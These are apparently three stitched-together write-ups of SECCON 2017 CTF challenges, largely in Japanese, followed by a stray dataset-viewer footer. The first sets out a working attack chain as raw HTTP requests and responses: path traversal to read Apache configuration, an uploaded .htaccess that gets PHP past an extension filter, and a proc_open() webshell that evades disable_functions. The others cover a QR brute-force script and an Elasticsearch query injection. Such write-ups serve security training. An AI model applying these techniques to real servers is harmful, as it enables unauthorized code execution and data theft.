```POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=test HTTP/1.1Host: automatic_door.pwn.seccon.jpContent-Type: multipart/form-data;boundary="boundary"Content-Length: 166
--boundaryContent-Disposition: form-data; name="action"
write--boundaryContent-Disposition: form-data; name="file"; filename="test"
testtest--boundary--```
↓
`test`ファイルを読み込む
`GET /0b503d0caf712352fc200bc5332c4f95/?action=read&filename=test`
↓
`testtest`が取得できた
↓
書き込み&閲覧することができた。
---
しかし、writeでは下記の制約がある
`if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) {`
↓
`ph`がチェックされるのでphpファイルはアップロードできないようになっている。
---
次に設定変更できるファイルである`.httaccess`の現在の設定を確認するために、apache2の設定ファイル`/etc/apache2/apache2.conf`を取得してみる
↓
`GET /0b503d0caf712352fc200bc5332c4f95/?action=read&filename=../../../../../../../etc/apache2/apache2.conf`
↓
```# AccessFileName: The name of the file to look for in each directory# for additional configuration directives. See also the AllowOverride# directive.#AccessFileName .htaccess```
↓
`AccessFileName .htaccess`と`.htaccess`を読み込む設定になっており、`allowoverride None`が記載されていない。
↓
`.htaccess`をアップロードすれば、設定を変更することが可能。
---
下記のように、「拡張子`.tttt`の場合に、phpファイルとして実行する」ように記載した`.htaccess`ファイルをアップロードする。
↓
```POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=.htaccess HTTP/1.1Host: automatic_door.pwn.seccon.jpContent-Type: multipart/form-data;boundary="boundary"Content-Length: 204
--boundaryContent-Disposition: form-data; name="action"
write--boundaryContent-Disposition: form-data; name="file"; filename="test.php"
AddType application/x-httpd-php .php .tttt--boundary--```
↓
```GET /0b503d0caf712352fc200bc5332c4f95/?action=read&filename=.htaccess HTTP/1.1↓HTTP/1.1 200 OKDate: Sun, 10 Dec 2017 03:24:56 GMTServer: Apache/2.4.18 (Ubuntu)Content-Length: 42Connection: closeContent-Type: text/html; charset=UTF-8
AddType application/x-httpd-php .php .tttt```
↓
アップロードできていることが確認できた。
---
次に`p.tttt`というファイル名で、とりあえず`/bin/ls`を実行するPHPコードをアップロードしてみる。
↓
```POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=p.tttt HTTP/1.1Host: automatic_door.pwn.seccon.jpContent-Type: multipart/form-data;boundary="boundary"Content-Length: 1200
--boundaryContent-Disposition: form-data; name="action"
write--boundaryContent-Disposition: form-data; name="file"; filename="test.php"
--boundary--```
↓
次に、アップロードした`p.tttt`ファイルにアクセスしてみる
`GET /0b503d0caf712352fc200bc5332c4f95/sandbox/FAIL_ba149181bd7fe48ec761f061c3e60f07de257ec5/p.tttt`
↓
PHPが実行され、`ok`は表示されるものの`system()`が実行されないことがわかった。
---
よって、禁止されている関数を確認するために、`phpinfo()`を確認してみる。
↓
```disable_functions
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,passthru,popen,shell_exec,system```
↓
これを元に、コマンド実行が可能な関数を絞っていく。
↓
```×exec()×passthru()×shell_exec()×system()×pcntl_exec()×pcntl_fork()○proc_open()×popen()```
↓
`proc_open()`が使えそうだ
---
`p.tttt`というファイル名で、`/flag_x`を実行するPHPコードをアップロードする
↓
```POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=p.tttt HTTP/1.1Host: automatic_door.pwn.seccon.jpContent-Type: multipart/form-data;boundary="boundary"Content-Length: 1200
--boundaryContent-Disposition: form-data; name="action"
write--boundaryContent-Disposition: form-data; name="file"; filename="test.php"
array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") );
$process = proc_open($cmd, $descriptorspec, $pipes); $result_message = ""; $error_message = ""; $return = null; if (is_resource($process)) { fputs($pipes[0], $stdin); fclose($pipes[0]); while ($error = fgets($pipes[2])){ $error_message .= $error; } while ($result = fgets($pipes[1])){ $result_message .= $result; } foreach ($pipes as $k=>$_rs){ if (is_resource($_rs)){ fclose($_rs); } } $return = proc_close($process); } return array( 'return' => $return, 'stdout' => $result_message, 'stderr' => $error_message, );}
$cmd = "/flag_x";$ret = system_ex($cmd, $input);var_dump($ret); ?>--boundary--```
---
アップロードした`p.tttt`ファイルにアクセスする
`GET /0b503d0caf712352fc200bc5332c4f95/sandbox/FAIL_ba149181bd7fe48ec761f061c3e60f07de257ec5/p.tttt`
↓
```HTTP/1.1 200 OKDate: Sun, 10 Dec 2017 03:51:22 GMTServer: Apache/2.4.18 (Ubuntu)Vary: Accept-EncodingContent-Length: 141Connection: closeContent-Type: text/html; charset=UTF-8
okarray(3) { ["return"]=> int(0) ["stdout"]=> string(41) "SECCON{f6c085facd0897b47f5f1d7687030ae7}" ["stderr"]=> string(0) ""}```
↓
`SECCON{f6c085facd0897b47f5f1d7687030ae7}` |
Simple script with PIL and qrtools. Find the corners, edges and center, then bruteforce. Works a lot faster than expected, because of QR auto correction I think.```import urllibimport qrtools2 as qrtoolsimport requestsimport numpy as npfrom PIL import Imageimport itertools
images = 'RLUDFB'im_hash = "260058392f57bad8cbf9"while True: print im_hash, "=================" ims = [] for i in images: url = "http://qubicrube.pwn.seccon.jp:33654/images/" + im_hash + "_"+ i + ".png" urllib.urlretrieve(url, "a.png") print url im = Image.open("a.png").convert('L') ims.append(im) ims_k = {} for im in ims: unit = im.size[0]/3 for i in range(3): for j in range(3): qq = (im.crop((i*unit, j*unit, (i+1)*unit, (j+1)*unit))) col = np.amax(qq) if col not in ims_k.keys(): ims_k[col] = [[], [], []] idx = 0 te = np.amin(qq.crop((0,0,unit,20)))>50 le = np.amin(qq.crop((0,0,20,unit)))>50 be = np.amin(qq.crop((0,unit-20,unit,unit)))>50 re = np.amin(qq.crop((unit-20,0,unit,unit)))>50 if te and le: idx = 0 elif te and re: idx = 0 qq = qq.rotate(90) elif le and be: idx = 0 qq = qq.rotate(270) elif re and be: idx = 0 qq = qq.rotate(180) elif te : idx = 1 elif le : idx = 1 qq = qq.rotate(270) elif re : idx = 1 qq = qq.rotate(90) elif be : idx = 1 qq = qq.rotate(180) else : idx = 2 ims_k[col][idx].append(qq) ims = [] for col in ims_k.keys(): print col fl = True ctr = 0 for cor in itertools.permutations(ims_k[col][0]): if not fl: break for cent in itertools.permutations(ims_k[col][1]) : cp = ims_k[col][2][0] mat = [cor[0], cent[0], cor[1].rotate(270), cent[1].rotate(90), cp, cent[2].rotate(270), cor[2].rotate(90), cent[3].rotate(180), cor[3].rotate(180)] q = np.vstack([np.hstack(mat[0:3]), np.hstack(mat[3:6]), np.hstack(mat[6:9])]) im = Image.fromarray(q) ctr +=1 qr = qrtools.QR() if qr.decode_image(im.convert('L')) and "36130634" not in qr.data: fl = False print qr.data if "http" in qr.data: im_hash = requests.get(qr.data).text.split('/images/')[1].split('_')[0] break
# SECCON{Thanks to Denso Wave for inventing the QR code}``` |
Request.Path```textrequest:flag AND verb:get AND response:200```
Output```text...11/Dec/2017:00:35:49 +0900 | GET | /flag-b5SFKDJicSJdf6R5Dvaf2Tx5r4jWzJTX.txt | 200...```
GET /flag-b5SFKDJicSJdf6R5Dvaf2Tx5r4jWzJTX.txt```textSECCON{N0SQL_1njection_for_Elasticsearch!}``` |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.